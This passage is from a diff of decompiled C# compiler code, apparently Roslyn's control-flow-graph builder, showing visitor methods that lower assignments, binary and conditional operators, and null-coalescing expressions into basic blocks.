} + } + if (num > -1) + { + _currentInterpolatedStringHandlerArgumentContext = new InterpolatedStringHandlerArgumentsContext(arrayBuilder.ToImmutableAndFree(), _evalStack.Count - (instancePushed ? 1 : 0), instancePushed); + } + for (int j = 0; j < arguments.Length; j++) + { + IOperation value = arguments[j].Value; + IOperation operation = ((!(value is IDeclarationExpressionOperation declarationExpressionOperation) || j >= num) ? value : declarationExpressionOperation.Expression); + IOperation operation2 = operation; + PushOperand(VisitRequired(operation2)); + } + _currentInterpolatedStringHandlerArgumentContext = currentInterpolatedStringHandlerArgumentContext; + } + + private IArgumentOperation RewriteArgumentFromArray(IOperation visitedArgument, int index, ImmutableArray args) + { + ArgumentOperation argumentOperation = (ArgumentOperation)args[index]; + return new ArgumentOperation(argumentOperation.ArgumentKind, argumentOperation.Parameter, visitedArgument, argumentOperation.InConversionConvertible, argumentOperation.OutConversionConvertible, null, argumentOperation.Syntax, IsImplicit(argumentOperation)); + } + + public override IOperation VisitSimpleAssignment(ISimpleAssignmentOperation operation, int? captureIdForResult) + { + EvalStackFrame frame = PushStackFrame(); + PushOperand(VisitRequired(operation.Target)); + IOperation value = VisitRequired(operation.Value); + return PopStackFrame(frame, new SimpleAssignmentOperation(operation.IsRef, PopOperand(), value, null, operation.Syntax, operation.Type, operation.GetConstantValue(), IsImplicit(operation))); + } + + public override IOperation VisitCompoundAssignment(ICompoundAssignmentOperation operation, int? captureIdForResult) + { + EvalStackFrame frame = PushStackFrame(); + CompoundAssignmentOperation compoundAssignmentOperation = (CompoundAssignmentOperation)operation; + PushOperand(VisitRequired(compoundAssignmentOperation.Target)); + IOperation value = VisitRequired(compoundAssignmentOperation.Value); + return PopStackFrame(frame, new CompoundAssignmentOperation(compoundAssignmentOperation.InConversionConvertible, compoundAssignmentOperation.OutConversionConvertible, operation.OperatorKind, operation.IsLifted, operation.IsChecked, operation.OperatorMethod, operation.ConstrainedToType, PopOperand(), value, null, operation.Syntax, operation.Type, IsImplicit(operation))); + } + + public override IOperation VisitArrayElementReference(IArrayElementReferenceOperation operation, int? captureIdForResult) + { + EvalStackFrame frame = PushStackFrame(); + PushOperand(VisitRequired(operation.ArrayReference)); + ImmutableArray indices = VisitArray(operation.Indices); + IOperation arrayReference = PopOperand(); + PopStackFrame(frame); + return new ArrayElementReferenceOperation(arrayReference, indices, null, operation.Syntax, operation.Type, IsImplicit(operation)); + } + + public override IOperation VisitImplicitIndexerReference(IImplicitIndexerReferenceOperation operation, int? captureIdForResult) + { + EvalStackFrame frame = PushStackFrame(); + PushOperand(VisitRequired(operation.Instance)); + IOperation argument = VisitRequired(operation.Argument); + IOperation instance = PopOperand(); + PopStackFrame(frame); + return new ImplicitIndexerReferenceOperation(instance, argument, operation.LengthSymbol, operation.IndexerSymbol, null, operation.Syntax, operation.Type, IsImplicit(operation)); + } + + public override IOperation? VisitInlineArrayAccess(IInlineArrayAccessOperation operation, int? captureIdForResult) + { + EvalStackFrame frame = PushStackFrame(); + PushOperand(VisitRequired(operation.Instance)); + IOperation argument = VisitRequired(operation.Argument); + IOperation instance = PopOperand(); + PopStackFrame(frame); + return new InlineArrayAccessOperation(instance, argument, null, operation.Syntax, operation.Type, IsImplicit(operation)); + } + + private static bool IsConditional(IBinaryOperation operation) + { + BinaryOperatorKind operatorKind = operation.OperatorKind; + if ((uint)(operatorKind - 13) <= 1u) + { + return true; + } + return false; + } + + public override IOperation VisitBinaryOperator(IBinaryOperation operation, int? captureIdForResult) + { + if (IsConditional(operation)) + { + if (operation.OperatorMethod != null) + { + return VisitUserDefinedBinaryConditionalOperator(operation, captureIdForResult); + } + if (ITypeSymbolHelpers.IsBooleanType(operation.Type) && ITypeSymbolHelpers.IsBooleanType(operation.LeftOperand.Type) && ITypeSymbolHelpers.IsBooleanType(operation.RightOperand.Type)) + { + return VisitBinaryConditionalOperator(operation, sense: true, captureIdForResult, null, null); + } + if (operation.IsLifted && ITypeSymbolHelpers.IsNullableOfBoolean(operation.Type) && ITypeSymbolHelpers.IsNullableOfBoolean(operation.LeftOperand.Type) && ITypeSymbolHelpers.IsNullableOfBoolean(operation.RightOperand.Type)) + { + return VisitNullableBinaryConditionalOperator(operation, captureIdForResult); + } + if (ITypeSymbolHelpers.IsObjectType(operation.Type) && ITypeSymbolHelpers.IsObjectType(operation.LeftOperand.Type) && ITypeSymbolHelpers.IsObjectType(operation.RightOperand.Type)) + { + return VisitObjectBinaryConditionalOperator(operation); + } + if (ITypeSymbolHelpers.IsDynamicType(operation.Type) && (ITypeSymbolHelpers.IsDynamicType(operation.LeftOperand.Type) || ITypeSymbolHelpers.IsDynamicType(operation.RightOperand.Type))) + { + return VisitDynamicBinaryConditionalOperator(operation, captureIdForResult); + } + } + ArrayBuilder<(IBinaryOperation, EvalStackFrame)> instance = ArrayBuilder<(IBinaryOperation, EvalStackFrame)>.GetInstance(); + IOperation leftOperand; + while (true) + { + instance.Push((operation, PushStackFrame())); + leftOperand = operation.LeftOperand; + if (!(leftOperand is IBinaryOperation binaryOperation) || IsConditional(binaryOperation)) + { + break; + } + operation = binaryOperation; + } + leftOperand = VisitRequired(leftOperand); + do + { + EvalStackFrame frame; + (operation, frame) = instance.Pop(); + PushOperand(leftOperand); + IOperation rightOperand = VisitRequired(operation.RightOperand); + leftOperand = PopStackFrame(frame, new BinaryOperation(operation.OperatorKind, PopOperand(), rightOperand, operation.IsLifted, operation.IsChecked, operation.IsCompareText, operation.OperatorMethod, operation.ConstrainedToType, ((BinaryOperation)operation).UnaryOperatorMethod, null, operation.Syntax, operation.Type, operation.GetConstantValue(), IsImplicit(operation))); + } + while (instance.Count != 0); + instance.Free(); + return leftOperand; + } + + public override IOperation VisitTupleBinaryOperator(ITupleBinaryOperation operation, int? captureIdForResult) + { + var (leftOperand, rightOperand) = VisitPreservingTupleOperations(operation.LeftOperand, operation.RightOperand); + return new TupleBinaryOperation(operation.OperatorKind, leftOperand, rightOperand, null, operation.Syntax, operation.Type, IsImplicit(operation)); + } + + public override IOperation VisitUnaryOperator(IUnaryOperation operation, int? captureIdForResult) + { + if (IsBooleanLogicalNot(operation)) + { + return VisitConditionalExpression(operation, sense: true, captureIdForResult, null, null); + } + return new UnaryOperation(operation.OperatorKind, VisitRequired(operation.Operand), operation.IsLifted, operation.IsChecked, operation.OperatorMethod, operation.ConstrainedToType, null, operation.Syntax, operation.Type, operation.GetConstantValue(), IsImplicit(operation)); + } + + private static bool IsBooleanLogicalNot(IUnaryOperation operation) + { + if (operation.OperatorKind == UnaryOperatorKind.Not && operation.OperatorMethod == null && ITypeSymbolHelpers.IsBooleanType(operation.Type)) + { + return ITypeSymbolHelpers.IsBooleanType(operation.Operand.Type); + } + return false; + } + + private static bool CalculateAndOrSense(IBinaryOperation binOp, bool sense) + { + return binOp.OperatorKind switch + { + BinaryOperatorKind.ConditionalOr => !sense, + BinaryOperatorKind.ConditionalAnd => sense, + _ => throw ExceptionUtilities.UnexpectedValue(binOp.OperatorKind), + }; + } + + private IOperation VisitBinaryConditionalOperator(IBinaryOperation binOp, bool sense, int? captureIdForResult, BasicBlockBuilder? fallToTrueOpt, BasicBlockBuilder? fallToFalseOpt) + { + if (!CalculateAndOrSense(binOp, sense)) + { + return VisitShortCircuitingOperator(binOp, sense, sense, stopValue: true, captureIdForResult, fallToTrueOpt, fallToFalseOpt); + } + return VisitShortCircuitingOperator(binOp, sense, !sense, stopValue: false, captureIdForResult, fallToTrueOpt, fallToFalseOpt); + } + + private IOperation VisitNullableBinaryConditionalOperator(IBinaryOperation binOp, int? captureIdForResult) + { + SpillEvalStack(); + IOperation leftOperand = binOp.LeftOperand; + IOperation rightOperand = binOp.RightOperand; + bool num = CalculateAndOrSense(binOp, sense: true); + RegionBuilder currentRegionRequired = CurrentRegionRequired; + BasicBlockBuilder basicBlockBuilder = new BasicBlockBuilder(BasicBlockKind.Block); + BasicBlockBuilder basicBlockBuilder2 = new BasicBlockBuilder(BasicBlockKind.Block); + BasicBlockBuilder basicBlockBuilder3 = new BasicBlockBuilder(BasicBlockKind.Block); + IOperation operation = VisitAndCapture(leftOperand); + IOperation operation2 = operation; + if (num) + { + operation2 = negateNullable(operation2); + } + operation2 = CallNullableMember(operation2, SpecialMember.System_Nullable_T_GetValueOrDefault); + ConditionalBranch(operation2, jumpIfTrue: true, basicBlockBuilder3); + UnconditionalBranch(basicBlockBuilder2); + int id = captureIdForResult ?? GetNextCaptureId(currentRegionRequired); + AppendNewBlock(basicBlockBuilder2); + EvalStackFrame frame = PushStackFrame(); + IOperation operation3 = VisitAndCapture(rightOperand); + operation2 = operation3; + if (!num) + { + operation2 = negateNullable(operation2); + } + operation2 = CallNullableMember(operation2, SpecialMember.System_Nullable_T_GetValueOrDefault); + ConditionalBranch(operation2, jumpIfTrue: true, basicBlockBuilder3); + _currentBasicBlock = null; + AddStatement(new FlowCaptureOperation(id, binOp.Syntax, OperationCloner.CloneOperation(operation3))); + UnconditionalBranch(basicBlockBuilder); + PopStackFrameAndLeaveRegion(frame); + AppendNewBlock(basicBlockBuilder3); + AddStatement(new FlowCaptureOperation(id, binOp.Syntax, OperationCloner.CloneOperation(operation))); + LeaveRegionsUpTo(currentRegionRequired); + AppendNewBlock(basicBlockBuilder); + return GetCaptureReference(id, binOp); + static IOperation negateNullable(IOperation operand) + { + return new UnaryOperation(UnaryOperatorKind.Not, operand, isLifted: true, isChecked: false, null, null, null, operand.Syntax, operand.Type, null, isImplicit: true); + } + } + + private IOperation VisitObjectBinaryConditionalOperator(IBinaryOperation binOp) + { + SpillEvalStack(); + INamedTypeSymbol specialType = _compilation.GetSpecialType(SpecialType.System_Boolean); + IOperation leftOperand = binOp.LeftOperand; + IOperation rightOperand = binOp.RightOperand; + bool flag = CalculateAndOrSense(binOp, sense: true); + BasicBlockBuilder basicBlockBuilder = new BasicBlockBuilder(BasicBlockKind.Block); + BasicBlockBuilder basicBlockBuilder2 = new BasicBlockBuilder(BasicBlockKind.Block); + EvalStackFrame frame = PushStackFrame(); + IOperation condition = CreateConversion(VisitRequired(leftOperand), specialType); + ConditionalBranch(condition, flag, basicBlockBuilder2); + _currentBasicBlock = null; + PopStackFrameAndLeaveRegion(frame); + RegionBuilder currentRegionRequired = CurrentRegionRequired; + int nextCaptureId = GetNextCaptureId(currentRegionRequired); + ConstantValue constantValue = ConstantValue.Create(!flag); + AddStatement(new FlowCaptureOperation(nextCaptureId, binOp.Syntax, new LiteralOperation(null, leftOperand.Syntax, specialType, constantValue, isImplicit: true))); + UnconditionalBranch(basicBlockBuilder); + AppendNewBlock(basicBlockBuilder2); + frame = PushStackFrame(); + condition = CreateConversion(VisitRequired(rightOperand), specialType); + AddStatement(new FlowCaptureOperation(nextCaptureId, binOp.Syntax, condition)); + PopStackFrame(frame); + LeaveRegionsUpTo(currentRegionRequired); + AppendNewBlock(basicBlockBuilder); + condition = new FlowCaptureReferenceOperation(nextCaptureId, binOp.Syntax, specialType, null); + ConstantValue constantValue2; + return new ConversionOperation(condition, _compilation.ClassifyConvertibleConversion(condition, binOp.Type, out constantValue2), isTryCast: false, isChecked: false, null, binOp.Syntax, binOp.Type, binOp.GetConstantValue(), isImplicit: true); + } + + private IOperation CreateConversion(IOperation operand, ITypeSymbol type) + { + ConstantValue constantValue; + return new ConversionOperation(operand, _compilation.ClassifyConvertibleConversion(operand, type, out constantValue), isTryCast: false, isChecked: false, null, operand.Syntax, type, constantValue, isImplicit: true); + } + + private IOperation VisitDynamicBinaryConditionalOperator(IBinaryOperation binOp, int? captureIdForResult) + { + SpillEvalStack(); + RegionBuilder currentRegionRequired = CurrentRegionRequired; + INamedTypeSymbol specialType = _compilation.GetSpecialType(SpecialType.System_Boolean); + IOperation leftOperand = binOp.LeftOperand; + IOperation rightOperand = binOp.RightOperand; + IMethodSymbol unaryOperatorMethod = ((BinaryOperation)binOp).UnaryOperatorMethod; + bool flag = CalculateAndOrSense(binOp, sense: true); + BasicBlockBuilder basicBlockBuilder = new BasicBlockBuilder(BasicBlockKind.Block); + BasicBlockBuilder basicBlockBuilder2 = new BasicBlockBuilder(BasicBlockKind.Block); + IOperation operation = VisitAndCapture(leftOperand); + IOperation operation2 = operation; + bool jumpIfTrue; + if (ITypeSymbolHelpers.IsBooleanType(leftOperand.Type)) + { + jumpIfTrue = flag; + } + else if (ITypeSymbolHelpers.IsDynamicType(leftOperand.Type) || unaryOperatorMethod != null) + { + jumpIfTrue = false; + operation2 = ((unaryOperatorMethod != null && (!ITypeSymbolHelpers.IsBooleanType(unaryOperatorMethod.ReturnType) || (!ITypeSymbolHelpers.IsNullableType(leftOperand.Type) && ITypeSymbolHelpers.IsNullableType(unaryOperatorMethod.Parameters[0].Type)))) ? MakeInvalidOperation(specialType, operation2) : new UnaryOperation(flag ? UnaryOperatorKind.False : UnaryOperatorKind.True, operation2, isLifted: false, isChecked: false, unaryOperatorMethod, (unaryOperatorMethod != null && (unaryOperatorMethod.IsAbstract || unaryOperatorMethod.IsVirtual)) ? binOp.ConstrainedToType : null, null, operation2.Syntax, specialType, null, isImplicit: true)); + } + else + { + operation2 = CreateConversion(operation2, specialType); + jumpIfTrue = flag; + } + ConditionalBranch(operation2, jumpIfTrue, basicBlockBuilder2); + _currentBasicBlock = null; + int id = captureIdForResult ?? GetNextCaptureId(currentRegionRequired); + IOperation operation3 = OperationCloner.CloneOperation(operation); + if (!ITypeSymbolHelpers.IsDynamicType(leftOperand.Type)) + { + operation3 = CreateConversion(operation3, binOp.Type); + } + AddStatement(new FlowCaptureOperation(id, binOp.Syntax, operation3)); + UnconditionalBranch(basicBlockBuilder); + AppendNewBlock(basicBlockBuilder2); + EvalStackFrame frame = PushStackFrame(); + PushOperand(OperationCloner.CloneOperation(operation)); + IOperation rightOperand2 = VisitRequired(rightOperand); + AddStatement(new FlowCaptureOperation(id, binOp.Syntax, new BinaryOperation(flag ? BinaryOperatorKind.And : BinaryOperatorKind.Or, PopOperand(), rightOperand2, isLifted: false, binOp.IsChecked, binOp.IsCompareText, binOp.OperatorMethod, (binOp.OperatorMethod != null && (binOp.OperatorMethod.IsAbstract || binOp.OperatorMethod.IsVirtual)) ? binOp.ConstrainedToType : null, null, null, binOp.Syntax, binOp.Type, binOp.GetConstantValue(), IsImplicit(binOp)))); + PopStackFrameAndLeaveRegion(frame); + LeaveRegionsUpTo(currentRegionRequired); + AppendNewBlock(basicBlockBuilder); + return GetCaptureReference(id, binOp); + } + + private IOperation VisitUserDefinedBinaryConditionalOperator(IBinaryOperation binOp, int? captureIdForResult) + { + SpillEvalStack(); + RegionBuilder currentRegionRequired = CurrentRegionRequired; + INamedTypeSymbol specialType = _compilation.GetSpecialType(SpecialType.System_Boolean); + bool isLifted = binOp.IsLifted; + IOperation leftOperand = binOp.LeftOperand; + IOperation rightOperand = binOp.RightOperand; + IMethodSymbol unaryOperatorMethod = ((BinaryOperation)binOp).UnaryOperatorMethod; + bool flag = CalculateAndOrSense(binOp, sense: true); + BasicBlockBuilder basicBlockBuilder = new BasicBlockBuilder(BasicBlockKind.Block); + BasicBlockBuilder basicBlockBuilder2 = new BasicBlockBuilder(BasicBlockKind.Block); + IOperation operation = VisitAndCapture(leftOperand); + IOperation operation2 = operation; + if (ITypeSymbolHelpers.IsNullableType(leftOperand.Type)) + { + if ((unaryOperatorMethod == null) ? isLifted : (!ITypeSymbolHelpers.IsNullableType(unaryOperatorMethod.Parameters[0].Type))) + { + operation2 = MakeIsNullOperation(operation2, specialType); + ConditionalBranch(operation2, jumpIfTrue: true, basicBlockBuilder2); + _currentBasicBlock = null; + operation2 = CallNullableMember(OperationCloner.CloneOperation(operation), SpecialMember.System_Nullable_T_GetValueOrDefault); + } + } + else if (unaryOperatorMethod != null && ITypeSymbolHelpers.IsNullableType(unaryOperatorMethod.Parameters[0].Type)) + { + operation2 = MakeInvalidOperation(unaryOperatorMethod.Parameters[0].Type, operation2); + } + operation2 = ((unaryOperatorMethod == null || !ITypeSymbolHelpers.IsBooleanType(unaryOperatorMethod.ReturnType)) ? MakeInvalidOperation(specialType, operation2) : new UnaryOperation(flag ? UnaryOperatorKind.False : UnaryOperatorKind.True, operation2, isLifted: false, isChecked: false, unaryOperatorMethod, (unaryOperatorMethod.IsAbstract || unaryOperatorMethod.IsVirtual) ? binOp.ConstrainedToType : null, null, operation2.Syntax, unaryOperatorMethod.ReturnType, null, isImplicit: true)); + ConditionalBranch(operation2, jumpIfTrue: false, basicBlockBuilder2); + _currentBasicBlock = null; + int id = captureIdForResult ?? GetNextCaptureId(currentRegionRequired); + AddStatement(new FlowCaptureOperation(id, binOp.Syntax, OperationCloner.CloneOperation(operation))); + UnconditionalBranch(basicBlockBuilder); + AppendNewBlock(basicBlockBuilder2); + EvalStackFrame frame = PushStackFrame(); + PushOperand(OperationCloner.CloneOperation(operation)); + IOperation rightOperand2 = VisitRequired(rightOperand); + AddStatement(new FlowCaptureOperation(id, binOp.Syntax, new BinaryOperation(flag ? BinaryOperatorKind.And : BinaryOperatorKind.Or, PopOperand(), rightOperand2, isLifted, binOp.IsChecked, binOp.IsCompareText, binOp.OperatorMethod, (binOp.OperatorMethod.IsAbstract || binOp.OperatorMethod.IsVirtual) ? binOp.ConstrainedToType : null, null, null, binOp.Syntax, binOp.Type, binOp.GetConstantValue(), IsImplicit(binOp)))); + PopStackFrameAndLeaveRegion(frame); + LeaveRegionsUpTo(currentRegionRequired); + AppendNewBlock(basicBlockBuilder); + return GetCaptureReference(id, binOp); + } + + private IOperation VisitShortCircuitingOperator(IBinaryOperation condition, bool sense, bool stopSense, bool stopValue, int? captureIdForResult, BasicBlockBuilder? fallToTrueOpt, BasicBlockBuilder? fallToFalseOpt) + { + SpillEvalStack(); + ref BasicBlockBuilder reference = ref stopValue ? ref fallToTrueOpt : ref fallToFalseOpt; + bool num = reference == null; + VisitConditionalBranch(condition.LeftOperand, ref reference, stopSense); + RegionBuilder currentRegionRequired = CurrentRegionRequired; + int num2 = captureIdForResult ?? GetNextCaptureId(currentRegionRequired); + CaptureResultIfNotAlready(result: VisitConditionalExpression(condition.RightOperand, sense, num2, fallToTrueOpt, fallToFalseOpt), syntax: condition.RightOperand.Syntax, captureId: num2); + LeaveRegionsUpTo(currentRegionRequired); + if (num) + { + BasicBlockBuilder basicBlockBuilder = new BasicBlockBuilder(BasicBlockKind.Block); + UnconditionalBranch(basicBlockBuilder); + AppendNewBlock(reference); + ConstantValue constantValue = ConstantValue.Create(stopValue); + object obj; + if (reference.GetSingletonPredecessorOrDefault() == null) + { + obj = condition; + } + else + { + obj = condition.LeftOperand; + } + SyntaxNode syntax = ((IOperation)obj).Syntax; + AddStatement(new FlowCaptureOperation(num2, syntax, new LiteralOperation(null, syntax, condition.Type, constantValue, isImplicit: true))); + AppendNewBlock(basicBlockBuilder); + } + return GetCaptureReference(num2, condition); + } + + private IOperation VisitConditionalExpression(IOperation condition, bool sense, int? captureIdForResult, BasicBlockBuilder? fallToTrueOpt, BasicBlockBuilder? fallToFalseOpt) + { + IUnaryOperation unaryOperation = null; + while (true) + { + IOperation operation = condition; + if (!(operation is IParenthesizedOperation parenthesizedOperation)) + { + if (!(operation is IUnaryOperation unaryOperation2) || !IsBooleanLogicalNot(unaryOperation2)) + { + break; + } + unaryOperation = unaryOperation2; + condition = unaryOperation2.Operand; + sense = !sense; + } + else + { + condition = parenthesizedOperation.Operand; + } + } + if (condition.Kind == OperationKind.Binary) + { + IBinaryOperation binOp = (IBinaryOperation)condition; + if (IsBooleanConditionalOperator(binOp)) + { + return VisitBinaryConditionalOperator(binOp, sense, captureIdForResult, fallToTrueOpt, fallToFalseOpt); + } + } + condition = VisitRequired(condition); + if (!sense) + { + if (unaryOperation == null) + { + return new UnaryOperation(UnaryOperatorKind.Not, condition, isLifted: false, isChecked: false, null, null, null, condition.Syntax, condition.Type, null, isImplicit: true); + } + return new UnaryOperation(unaryOperation.OperatorKind, condition, unaryOperation.IsLifted, unaryOperation.IsChecked, unaryOperation.OperatorMethod, unaryOperation.ConstrainedToType, null, unaryOperation.Syntax, unaryOperation.Type, unaryOperation.GetConstantValue(), IsImplicit(unaryOperation)); + } + return condition; + } + + private static bool IsBooleanConditionalOperator(IBinaryOperation binOp) + { + if (IsConditional(binOp) && binOp.OperatorMethod == null && ITypeSymbolHelpers.IsBooleanType(binOp.Type) && ITypeSymbolHelpers.IsBooleanType(binOp.LeftOperand.Type)) + { + return ITypeSymbolHelpers.IsBooleanType(binOp.RightOperand.Type); + } + return false; + } + + private void VisitConditionalBranch(IOperation condition, [NotNull] ref BasicBlockBuilder? dest, bool jumpIfTrue) + { + SpillEvalStack(); + VisitConditionalBranchCore(condition, ref dest, jumpIfTrue); + } + + private void VisitConditionalBranchCore(IOperation condition, [NotNull] ref BasicBlockBuilder? dest, bool jumpIfTrue) + { + StackGuard.EnsureSufficientExecutionStack(_recursionDepth); + _recursionDepth++; + visitConditionalBranchCore(condition, ref dest, jumpIfTrue); + _recursionDepth--; + static IOperation skipParenthesized(IOperation operand) + { + while (operand.Kind == OperationKind.Parenthesized) + { + operand = ((IParenthesizedOperation)operand).Operand; + } + return operand; + } + void visitConditionalBranchCore(IOperation operation, [NotNull] ref BasicBlockBuilder? reference, bool flag) + { + while (true) + { + operation = skipParenthesized(operation); + switch (operation.Kind) + { + case OperationKind.Binary: + if (IsBooleanConditionalOperator((IBinaryOperation)operation)) + { + if (reference == null) + { + reference = new BasicBlockBuilder(BasicBlockKind.Block); + } + ArrayBuilder<(IOperation, BasicBlockBuilder, bool)> instance = ArrayBuilder<(IOperation, BasicBlockBuilder, bool)>.GetInstance(); + instance.Push((operation, reference, flag)); + (IOperation, BasicBlockBuilder, bool) tuple; + while (true) + { + tuple = instance.Pop(); + if (tuple.Item1 == null) + { + AppendNewBlock(tuple.Item2); + } + else if (tuple.Item1 is IBinaryOperation binaryOperation && IsBooleanConditionalOperator(binaryOperation)) + { + if (CalculateAndOrSense(binaryOperation, tuple.Item3)) + { + BasicBlockBuilder item = new BasicBlockBuilder(BasicBlockKind.Block); + instance.Push((null, item, true)); + instance.Push((skipParenthesized(binaryOperation.RightOperand), tuple.Item2, tuple.Item3)); + instance.Push((skipParenthesized(binaryOperation.LeftOperand), item, !tuple.Item3)); + } + else + { + instance.Push((skipParenthesized(binaryOperation.RightOperand), tuple.Item2, tuple.Item3)); + instance.Push((skipParenthesized(binaryOperation.LeftOperand), tuple.Item2, tuple.Item3)); + } + } + else + { + if (instance.Count == 0 && reference == tuple.Item2) + { + break; + } + VisitConditionalBranchCore(tuple.Item1, ref tuple.Item2, tuple.Item3); + } + if (instance.Count == 0) + { + instance.Free(); + return; + } + } + (operation, _, flag) = tuple; + instance.Free(); + continue; + } + break; + case OperationKind.Unary: + { + IUnaryOperation unaryOperation = (IUnaryOperation)operation; + if (IsBooleanLogicalNot(unaryOperation)) + { + flag = !flag; + operation = unaryOperation.Operand; + continue; + } + break; + } + case OperationKind.Conditional: + if (ITypeSymbolHelpers.IsBooleanType(operation.Type)) + { + IConditionalOperation conditionalOperation = (IConditionalOperation)operation; + if (ITypeSymbolHelpers.IsBooleanType(conditionalOperation.WhenTrue.Type) && ITypeSymbolHelpers.IsBooleanType(conditionalOperation.WhenFalse.Type)) + { + BasicBlockBuilder dest2 = null; + VisitConditionalBranchCore(conditionalOperation.Condition, ref dest2, jumpIfTrue: false); + VisitConditionalBranchCore(conditionalOperation.WhenTrue, ref reference, flag); + BasicBlockBuilder basicBlockBuilder = new BasicBlockBuilder(BasicBlockKind.Block); + UnconditionalBranch(basicBlockBuilder); + AppendNewBlock(dest2); + VisitConditionalBranchCore(conditionalOperation.WhenFalse, ref reference, flag); + AppendNewBlock(basicBlockBuilder); + return; + } + } + break; + case OperationKind.Coalesce: + if (ITypeSymbolHelpers.IsBooleanType(operation.Type)) + { + ICoalesceOperation coalesceOperation = (ICoalesceOperation)operation; + if (ITypeSymbolHelpers.IsBooleanType(coalesceOperation.WhenNull.Type)) + { + BasicBlockBuilder basicBlockBuilder2 = new BasicBlockBuilder(BasicBlockKind.Block); + EvalStackFrame frame = PushStackFrame(); + IOperation condition2 = NullCheckAndConvertCoalesceValue(coalesceOperation, basicBlockBuilder2); + if (reference == null) + { + reference = new BasicBlockBuilder(BasicBlockKind.Block); + } + ConditionalBranch(condition2, flag, reference); + _currentBasicBlock = null; + BasicBlockBuilder basicBlockBuilder3 = new BasicBlockBuilder(BasicBlockKind.Block); + UnconditionalBranch(basicBlockBuilder3); + PopStackFrameAndLeaveRegion(frame); + AppendNewBlock(basicBlockBuilder2); + VisitConditionalBranchCore(coalesceOperation.WhenNull, ref reference, flag); + AppendNewBlock(basicBlockBuilder3); + return; + } + } + break; + case OperationKind.Conversion: + { + IConversionOperation conversionOperation = (IConversionOperation)operation; + if (conversionOperation.Operand.Kind == OperationKind.Throw) + { + BaseVisitRequired(conversionOperation.Operand, null); + if (reference == null) + { + reference = new BasicBlockBuilder(BasicBlockKind.Block); + } + return; + } + break; + } + } + break; + } + EvalStackFrame frame2 = PushStackFrame(); + operation = VisitRequired(operation); + if (reference == null) + { + reference = new BasicBlockBuilder(BasicBlockKind.Block); + } + ConditionalBranch(operation, flag, reference); + _currentBasicBlock = null; + PopStackFrameAndLeaveRegion(frame2); + } + } + + private void ConditionalBranch(IOperation condition, bool jumpIfTrue, BasicBlockBuilder destination) + { + BasicBlockBuilder currentBasicBlock = CurrentBasicBlock; + BasicBlockBuilder.Branch conditional = RegularBranch(destination); + Operation.SetParentOperation(condition, null); + conditional.Destination.AddPredecessor(currentBasicBlock); + currentBasicBlock.BranchValue = condition; + currentBasicBlock.ConditionKind = ((!jumpIfTrue) ? ControlFlowConditionKind.WhenFalse : ControlFlowConditionKind.WhenTrue); + currentBasicBlock.Conditional = conditional; + } + + private IOperation NullCheckAndConvertCoalesceValue(ICoalesceOperation operation, BasicBlockBuilder whenNull) + { + IOperation value = operation.Value; + SyntaxNode syntax = value.Syntax; + ITypeSymbol type = value.Type; + PushOperand(VisitRequired(value)); + SpillEvalStack(); + IOperation operation2 = PopOperand(); + ConditionalBranch(MakeIsNullOperation(operation2), jumpIfTrue: true, whenNull); + _currentBasicBlock = null; + CommonConversion valueConversion = operation.ValueConversion; + IOperation operation3 = OperationCloner.CloneOperation(operation2); + IOperation operation4 = null; + if (valueConversion.Exists) + { + IOperation operation5 = ((!ITypeSymbolHelpers.IsNullableType(type) || (valueConversion.IsIdentity && ITypeSymbolHelpers.IsNullableType(operation.Type))) ? operation3 : TryCallNullableMember(operation3, SpecialMember.System_Nullable_T_GetValueOrDefault)); + if (operation5 != null) + { + operation4 = ((!valueConversion.IsIdentity) ? new ConversionOperation(operation5, ((CoalesceOperation)operation).ValueConversionConvertible, isTryCast: false, isChecked: false, null, syntax, operation.Type, null, isImplicit: true) : operation5); + } + } + if (operation4 == null) + { + operation4 = MakeInvalidOperation(operation.Type, operation3); + } + return operation4; + } + + public override IOperation VisitCoalesce(ICoalesceOperation operation, int? captureIdForResult) + { + SpillEvalStack(); + IConversionOperation conversionOperation = operation.WhenNull as IConversionOperation; + bool num = conversionOperation != null && conversionOperation.Operand.Kind == OperationKind.Throw; + RegionBuilder currentRegionRequired = CurrentRegionRequired; + EvalStackFrame frame = PushStackFrame(); + BasicBlockBuilder basicBlockBuilder = new BasicBlockBuilder(BasicBlockKind.Block); + IOperation operation2 = NullCheckAndConvertCoalesceValue(operation, basicBlockBuilder); + BasicBlockBuilder basicBlockBuilder2 = new BasicBlockBuilder(BasicBlockKind.Block); + IOperation result; + if (num) + { + result = operation2; + UnconditionalBranch(basicBlockBuilder2); + PopStackFrame(frame); + AppendNewBlock(basicBlockBuilder); + BaseVisitRequired(conversionOperation.Operand, null); + } + else + { + int num2 = captureIdForResult ?? GetNextCaptureId(currentRegionRequired); + AddStatement(new FlowCaptureOperation(num2, operation.Value.Syntax, operation2)); + result = GetCaptureReference(num2, operation); + UnconditionalBranch(basicBlockBuilder2); + PopStackFrameAndLeaveRegion(frame); + AppendNewBlock(basicBlockBuilder); + VisitAndCapture(operation.WhenNull, num2); + LeaveRegionsUpTo(currentRegionRequired); + } + AppendNewBlock(basicBlockBuilder2); + return result; + } + + public override IOperation? VisitCoalesceAssignment(ICoalesceAssignmentOperation operation, int? captureIdForResult) + { + SpillEvalStack(); + bool isStatement = _currentStatement == operation || operation.Parent.Kind == OperationKind.ExpressionStatement; + RegionBuilder currentRegionRequired = CurrentRegionRequired; + EvalStackFrame frame = PushStackFrame(); + PushOperand(VisitRequired(operation.Target)); + SpillEvalStack(); + IOperation locationCapture = PopOperand(); + EvalStackFrame valueFrame = PushStackFrame(); + SpillEvalStack(); + int nextCaptureId = GetNextCaptureId(valueFrame.RegionBuilderOpt); + AddStatement(new FlowCaptureOperation(nextCaptureId, locationCapture.Syntax, locationCapture)); + IOperation valueCapture = GetCaptureReference(nextCaptureId, locationCapture); + BasicBlockBuilder whenNull = new BasicBlockBuilder(BasicBlockKind.Block); + BasicBlockBuilder afterCoalesce = new BasicBlockBuilder(BasicBlockKind.Block); + int resultCaptureId = (isStatement ? (-1) : (captureIdForResult ?? GetNextCaptureId(currentRegionRequired))); + IOperation target = operation.Target; + if (target != null && target.Type?.OriginalDefinition.SpecialType == SpecialType.System_Nullable_T && ((INamedTypeSymbol)operation.Target.Type).TypeArguments[0].Equals(operation.Type)) + { + nullableValueTypeReturn(); + } + else + { + standardReturn(); + } + PopStackFrame(frame); + LeaveRegionsUpTo(currentRegionRequired); + AppendNewBlock(afterCoalesce); + if (!isStatement) + { + return GetCaptureReference(resultCaptureId, operation); + } + return null; + void nullableValueTypeReturn() + { + int id = -1; + EvalStackFrame evalStackFrame = null; + if (!isStatement) + { + evalStackFrame = PushStackFrame(); + SpillEvalStack(); + id = 